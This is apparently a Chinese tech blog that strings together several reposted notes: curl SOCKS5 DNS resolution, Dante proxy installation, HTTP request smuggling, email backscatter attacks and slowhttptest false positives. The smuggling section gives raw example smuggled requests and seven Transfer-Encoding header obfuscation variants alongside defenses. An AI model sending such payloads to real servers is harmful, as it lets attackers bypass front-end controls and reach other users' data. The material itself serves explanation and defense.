testuser@localhost ~ curl -v -x socks5://172.22.1.1:8080 https://testdomain.com

* Rebuilt URL to: https://testdomain.com/
* Trying 172.22.1.1...
* TCP_NODELAY set
* SOCKS5 communication to testdomain.com:443
* SOCKS5 connect to IPv6 2600:1417:1b:184::23ac (locally resolved)
* Can't complete SOCKS5 connection to 0.0.0.0:0. (1)
* Closing connection 0
curl: (7) Can't complete SOCKS5 connection to 0.0.0.0:0. (1)

可以看到訊息裡有一行 locally resolved,這行代表的是 curl 自行去查詢了 DNS,將 testdomain.com 的 IP 找出來,但因為 curl 使用的是 Happy Eyeball 的演算法,同時會發出 Type A 和 AAAA 的 DNS request 封包,因此如果 AAAA 的 DNS 回應封包先回來的話,就會拿到 testdomain.com 的對應 IPv6 位址,反之如果是 A 的 DNS 回應封包先回來的話,拿到的則是 IPv4 位址。

下面用 Wireshark 觀察一下 curl 產生出來的 DNS 封包,它送出了 A 和 AAAA 兩種 DNS 封包,以下例來說是 A (IPv4) 的回應先回來,但這個結果會依據網路狀況而有所不同,有時候是 AAAA (IPv6) 的回應先回來:
image

curl 自行查詢 DNS 這件事情有什麼錯誤嗎?
以這個例子來說,curl 幫忙查出 testdomain.com 的 IPv6 位址 2600:1417:1b:184::23ac,然後連線到 socks5 proxy 172.22.1.1,叫它連線到這個 IPv6 位址去。
然而,這台 socks5 proxy 所在的網路只設定了 IPv4 位址,所以 proxy server 本身是無法藉由 IPv6 位址來連線的!
因此它自然無法連線到 curl 指定的 IPv6 位址,導致連線失敗…

要解決這個問題,可以叫 curl 不要雞婆自己去查 DNS,而是讓 proxy server 自己來查 DNS,因為 proxy server 自己知道所處的網路環境,像是它不能連 IPv6 網路時,自然不會去問 Type AAAA (IPv6) 的 DNS 結果。

我們將原本的 socks5://: 改成 socks5h://:,代表要讓 proxy 自己的查詢 DNS,可以看到 curl 直接連到了 proxy server,沒有先做 DNS 查詢,而最終 proxy 也成功完成了連線:

1
2
3
4
5
6
7
8
9
10
11
testuser@localhost ~ curl -v -x socks5h://172.22.1.1:8080 https://testdomain.com

* Rebuilt URL to: https://testdomain.com/
* Trying 172.22.1.1...
* TCP_NODELAY set
* SOCKS5 communication to testdomain.com:443
* SOCKS5 request granted.
* Connected to 172.22.1.1 (172.22.1.1) port 8080 (#0)
...
* Curl_http_done: called premature == 0
* Connection #0 to host testdomain.com left intact

不過這種雷,幾乎是每次整合一個用到 libcurl 的模組,就會再踩到一次啊…

我遇到的场景

首先,我没想到我会被台湾同胞的这篇技术博客教到很有趣的东西,其次,博主的语言和繁体配合起来更有趣了,也基于尊重保留了完整原文
image

公司做安全监控平台收敛内网后,外部主机关联内网服务器的数据,需要监控进程 agent 以走代理的方式进来
自然代理服务器的公网地址和内网地址不在一个网段,然后为了安全性,代理服务器内网地址虽然和监控服务器同一网段,但由于安全组的隔离两者是不能直接访问的……(´◐∀◐`)

代中代(´◐∀◐`)

很自然的 curl 即使走代理都找不到身处内网的监控服务器域名
我只能在代理服务器 host 上配一下域名解析,然后翻了许久找到了 curl 的代理访问方式原理,就是这位博主的文章,让我明白了可以让 Proxy Server 去做 curl 的进一步内网解析
泪目,乙方厂商技术整半天都解决不了的问题,后来和我说我给的命令,其他客户也有这种问题的不能装的也能装了,让我找他们销售要钱草w(“▔□▔)

希望两岸互相少点偏见吧

Danted Socks5代理搭建

Danted Socks5代理搭建

本文转自SunPma 并作补充

说明

Socks5属于明文代理,不要用于科学上网,否则会被阻断端口,可用于正常的跳板使用;
比如SSH转发加速国外VPS的连接速度,特别是一些延迟高或者丢包高的VPS;
使用Socks5转发后SSH就可以快速稳定的连接了,解决高丢包SSH断开的问题;

支持

支持系统:Debian7+ Ubuntu14.04+ CentOS6+

安装

下载脚本:

1
wget --no-check-certificate https://raw.github.com/Lozy/danted/master/install.sh -O install.sh

安装脚本:

1
bash install.sh  --port=端口 --user=用户名 --passwd=密码

其中的端口 用户名 密码自行修改后粘贴到SSH里运行安装即可;
完成后会提示Dante Server Install Successfuly即表示安装成功;
安装后如果连接不上,检查设置的端口是否已经放行;
说明:安装完成后会显示内网IP地址,但在实际使用的时候需要用外网IP地址;

使用

一般使用IP和用户名密码即可使用
如果需要固定IP或IP段,可以修改配置文件设置白名单

1
vi /etc/danted/sockd.conf

修改以下代码,改成你需要设置的白名单IP或IP段即可,然后重启使其生效;

1
2
3
client pass {
from: 0.0.0.0/0 to: 0.0.0.0/0
}

卸载

1
bash install.sh --uninstall

命令

命令 或者 说明
service sockd start /etc/init.d/sockd start 启动socks5服务器守护进程
service sockd stop /etc/init.d/sockd stop 停止socks5服务器守护进程
service sockd restart /etc/init.d/sockd restart 重新启动socks5服务器守护进程
service sockd reload /etc/init.d/sockd reload 重新加载socks5服务器守护进程
service sockd status / 系统进程状态
service sockd state /etc/init.d/sockd state 运行状态
service sockd tail /etc/init.d/sockd tail sock 日志
service sockd adduser /etc/init.d/sockd adduser 添加pam-auth用户:service sockd adduser NAME PASSWORD
service sockd deluser /etc/init.d/sockd deluser 删除pam-auth用户:service sockd deluser NAME

HTTP请求走私漏洞

HTTP请求走私漏洞

本文转自Atkxor 并作补充

简介

HTTP请求走私是一种干扰网站处理从一个或多个用户接收的HTTP请求序列的方式的技术。请求走私漏洞本质上通常很关键,它使攻击者可以绕过安全控制,未经授权访问敏感数据并直接危害其他应用程序用户。

  • 利用Content-Length字段来判定请求体的内容长度
  • 利用Transfer-Encoding字段来判定请求体的结束位置

基础知识

Content-Length

Content-Length即为实体长度。浏览器可以通过 Content-Length 的长度信息,判断出响应实体已结束。通常如果 Content-Length 比实际长度短,会造成内容被截断;如果比实体内容长,会造成 pending。

Transfer-Encoding

历史上 Transfer-Encoding 可以有多种取值,但最新的 HTTP 规范里,只定义了一种传输编码:分块编码(chunked)。
分块编码相当简单,在头部加入 Transfer-Encoding: chunked 之后,就代表这个报文采用了分块编码。这时,报文中的实体需要改为用一系列分块来传输。每个分块包含十六进制的长度值和数据,长度值独占一行,长度不包括它结尾的 CRLF(\r\n),也不包括分块数据结尾的 CRLF。最后一个分块长度值必须为 0,对应的分块数据没有内容,表示实体结束。

CL与TE解析优先级顺序

CL表示Content-Length,TE表示Transfer-Encoding。优先级顺序详见 RFC7230 section 3.3.3

1
2
3
4
5
If a message is received with both a Transfer-Encoding and a
Content-Length header field, the Transfer-Encoding overrides the
Content-Length. Such a message might indicate an attempt to perform
request smuggling (Section 9.5) or response splitting (Section 9.4)
and ought to be handled as an error. A sender MUST remove the received Content-Length field prior to forwarding such a message downstream.

TE 优先于 CL ,但可以通过一些方式绕过

请求走私分类

请求走私攻击包括将Content-Length标头和Transfer-Encoding 标头都放入单个HTTP请求中并进行处理,以便前端服务器和后端服务器以不同的方式处理请求。完成此操作的确切方式取决于两个服务器的行为:

  • CL不为0:前端代理服务器允许请求携带请求体,而后端服务器不允许请求携带请求体。
  • CL-CL:前端服务器使用Transfer-Encoding头,而后端服务器使用Content-Length头。
  • CL-TE:前端服务器使用Content-Length标头,而后端服务器使用Transfer- Encoding标头。
  • TE-TE:前端服务器和后端服务器都支持Transfer-Encoding标头,但是可以通过某种方式混淆标头来诱导其中一台服务器不对其进行处理。
  • TE-CL:前端服务器使用Transfer-Encoding头,而后端服务器使用Content-Length头。

CL不为0

所有不携带请求体的HTTP请求都有可能受此影响,这里以GET请求为例。
当前端服务器允许GET请求携带请求体,而后端服务器不允许GET请求携带请求体,它会直接忽略掉GET请求中的Content-Length头,不进行处理。这就有可能导致请求走私。
比如构造请求:

1
2
3
4
5
6
7
GET / HTTP/1.1\r\n
Host: demo.com\r\n
Content-Length: 44\r\n
\r\n
GET /secret HTTP/1.1\r\n
Host: demo.com\r\n
\r\n

注:\r\n表示 CRLF即换行

前端服务器处理了Content-Length,而后端服务器没有处理 Content-Length ,基于pipeline机制认为这是两个独立的请求:
第一个请求:

1
2
GET / HTTP/1.1\r\n
Host: demo.com\r\n

第二个请求:

1
2
GET /secret HTTP/1.1\r\n
Host: demo.com\r\n

CL-CL漏洞

RFC7230规范:在RFC7230的第3.3.3节中的第四条中,规定当服务器收到的请求中包含两个Content-Length,而且两者的值不同时,需要返回400错误。
构造请求:

1
2
3
4
5
6
7
POST / HTTP/1.1\r\n
Host: demo.com\r\n
Content-Length: 5\r\n
Content-Length: 6\r\n
\r\n
12345\r\n
a

得到响应,返回400 Bad Request
image

触发过程:但是总有服务器不会严格的实现该规范,假设中间的代理服务器和后端的源站服务器在收到类似的请求时,都不会返回400错误,但是中间代理服务器按照第一个Content-Length的值对请求进行处理,而后端源站服务器按照第二个Content-Length的值进行处理。

CL-TE漏洞

CL-TE,就是当收到存在两个请求头的请求包时,前端代理服务器只处理Content-Length请求头,而后端服务器会遵守RFC2616的规定,忽略掉Content-Length,处理Transfer-Encoding请求头。
CL.TE实验环境

TE-TE漏洞

在这里,前端服务器和后端服务器都支持Transfer-Encoding标头,但是可以通过对标头进行某种方式的混淆来诱导其中一台服务器不对其进行处理。
详见 RFC7230 section 3.3.3.3

1
2
3
4
5
6
7
8
If a Transfer-Encoding header field is present in a response and
the chunked transfer coding is not the final encoding, the
message body length is determined by reading the connection until
it is closed by the server. If a Transfer-Encoding header field
is present in a request and the chunked transfer coding is not
the final encoding, the message body length cannot be determined
reliably; the server MUST respond with the 400 (Bad Request)
status code and then close the connection.

这里列出七种混淆方式:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
Transfer-Encoding: xchunked

Transfer-Encoding : chunked

Transfer-Encoding: x

Transfer-Encoding:[tab]chunked

[space]Transfer-Encoding: chunked

X: X[\n]Transfer-Encoding: chunked

Transfer-Encoding
: chunked

之所以在处理这些请求头时会出现问题,是因为在实际的HTTP协议实现中,很少有代码精确的遵循了其中的规范,以此导致面对变形的请求头时会出现不同的处理方式。
TE.CL实验环境

TE-CL漏洞

所谓TE-CL,就是当收到存在两个请求头的请求包时,前端代理服务器处理Transfer-Encoding这一请求头,而后端服务器处理Content-Length请求头。
TE.CL验环境

绕过前端服务器安全控制

利用CL-TE漏洞绕过

CL.TE实验环境

利用TE-CL漏洞绕过

TE.CL实验环境

漏洞防御

在前端服务器通过同一网络连接将多个请求转发到后端服务器的情况下,会出现HTTP请求走私漏洞,并且后端连接所使用的协议会带来两个服务器不同意边界的风险。要求。防止HTTP请求走私漏洞的一些通用方法如下:

  • 禁用后端连接的重用,以便每个后端请求通过单独的网络连接发送。
  • 使用HTTP / 2进行后端连接,因为此协议可防止对请求之间的边界产生歧义。
  • 前端服务器和后端服务器使用完全相同的Web服务器软件,以便它们就请求之间的界限达成一致。
    在某些情况下,可以通过使前端服务器规范歧义请求或使后端服务器拒绝歧义请求并关闭网络连接来避免漏洞。但是,这些方法比上面确定的通用缓解措施更容易出错。

参考文章

(https://paper.seebug.org/1048)
(https://portswigger.net/web-security/request-smuggling)
(https://portswigger.net/web-security/request-smuggling/exploiting)

电子邮件退信攻击

电子邮件退信攻击

本文转自zdnet 并作补充

杂记

有生活常识的朋友都知道,当我们寄出一封信件的时候,如果收信人的地址变更或一些特殊原因。你所寄出的信件将会被原址退回。实际上电子邮件也是有这个退信功能的。不过这个便利的功能却被网络黑客发现并加以利用,邮件退信攻击有成为了危害邮件安全的一个难题。

所谓邮件退信攻击,是将预攻击的对象伪造成发件人地址,而收件人设置为一系列其他邮件域并不存在的账号,这样当邮件大量发送,例如通过僵尸网络,由于收件人不存在,邮件系统将产生大量的退信给发件人地址。该发件人地址所属的真实服务器将收到大量的退信,增加服务器的负荷,也容易使该公司的邮件服务器被列入黑名单。

邮件退信攻击在程度上有所区别,上面介绍的这种攻击,被攻击者可能一天之内收到数百上千封各种退信。一般用户碰到的邮件退信攻击属于骚扰性质,垃圾邮件发送者在发送垃圾邮件时,常常随机的设置发件人,例如其中包括bobo@abc.com,当大量发送垃圾邮件时,有些邮件可能是以bobo@abc.com发送的,则bobo就可能收到退信,有时一天只有几封或几十封,但总是不断,让人十分郁闷。

退信信息通常比较有规律,例如发件人为空,或者为MAILER-DAEMON@xxx.com,主题一般为Undelivered Mail Returned等。有些用户采用关键字的技术将退信予以阻断,或者干脆限定阻止空发件人,但是这经常会把正常的退信也阻止掉,导致信息不畅。

一般而言,退信占一个公司的邮件量5%以上,这其中绝大部分是垃圾退信。如何防止收到这种垃圾退信,避免邮件退信攻击呢?

采用SPF或domain-key的技术。这两种技术的原理相似。例如sohu.com的SPF记录是sohu.com text = “v=spf1 ip4:61.135.130.0/23 ip4:61.135.132.0/23 (。。。sohu邮件服务器所属IP)all”;如果有人冒用sohu发送垃圾邮件,收件方如果采用了SPF过滤技术,就能判定这是假冒的垃圾邮件,将不会给sohu发送DNR了。

遗憾的是很多服务器不做SPF验证,因此即使您的公司设置了SPF记录,也不能阻止垃圾退信。

重点

此文其实是为了记念一下一个工具:Swaks

几乎绝大部分的邮件攻击都可以由它进行实践,之前测试其实很多现在大厂的消费级邮箱是有或多或少的问题的。

Slowhttptest Usage

Slowhttptest 对 Slow HTTP Dos 的误判

当场滑跪

前段时间在巡检公司项目的时候发现了HTTP慢速拒绝服务攻击(Slow HTTP Dos)
于是就下发让项目运维去修复了,但是反馈说明明配置了正确的参数,于是我当(zhi)场(jie)滑(dao)跪(qian) ORZ

image

发生了什么

所以是发生了什么?漏扫就那么垃圾和我过不去这么多误报?我还好好用 slowhttptest 去验证了,确实存在service available: NO的显示,图就不发了,拿阿B的给你们看看:
image

后来看得多了我发现(其实早就发现了),slowhttptest 的slowbody模式下很容易出现service available: NOreadheader就很容易通过测试
但是归根到底是否触发拒绝服务,肯定看:

    1. 网站载入延时
    1. 网站是否还可访问

在看了星球守护者 的漏洞复现后我发现,用 slowhttptest 验证 Slow HTTP Dos 真实存在,需要注意:

1
2
3
4
1. slow HTTP test status on Xth second:		X 数字较小,即较早就开始拒绝服务
2. service available: NO
3. Test ended on X+1th second
4. Exit status: Connection refused 这两点比较重要,真的拒绝服务了直接下一秒就停止测试了

image

不得不说

其实 Dos 类的漏洞你很不好说,因为访问量过大必然服务器承受不住,这个只能做缓解(流量分析、请求时限、扩容等等)
所以漏扫出来是否存在这个漏洞或者 slowhttptest 的service available: NO,有可能是看片面了(某些请求在开始或者后来被识别后被拒绝、中断,或者网页响应时间是否有某个范围内的增量变化等,尤其是这个增量变化,我曾经发现因为一个资产页面正常请求的数量会变化,时延直接从几百ms级变成几s级的)

好吧,okk

image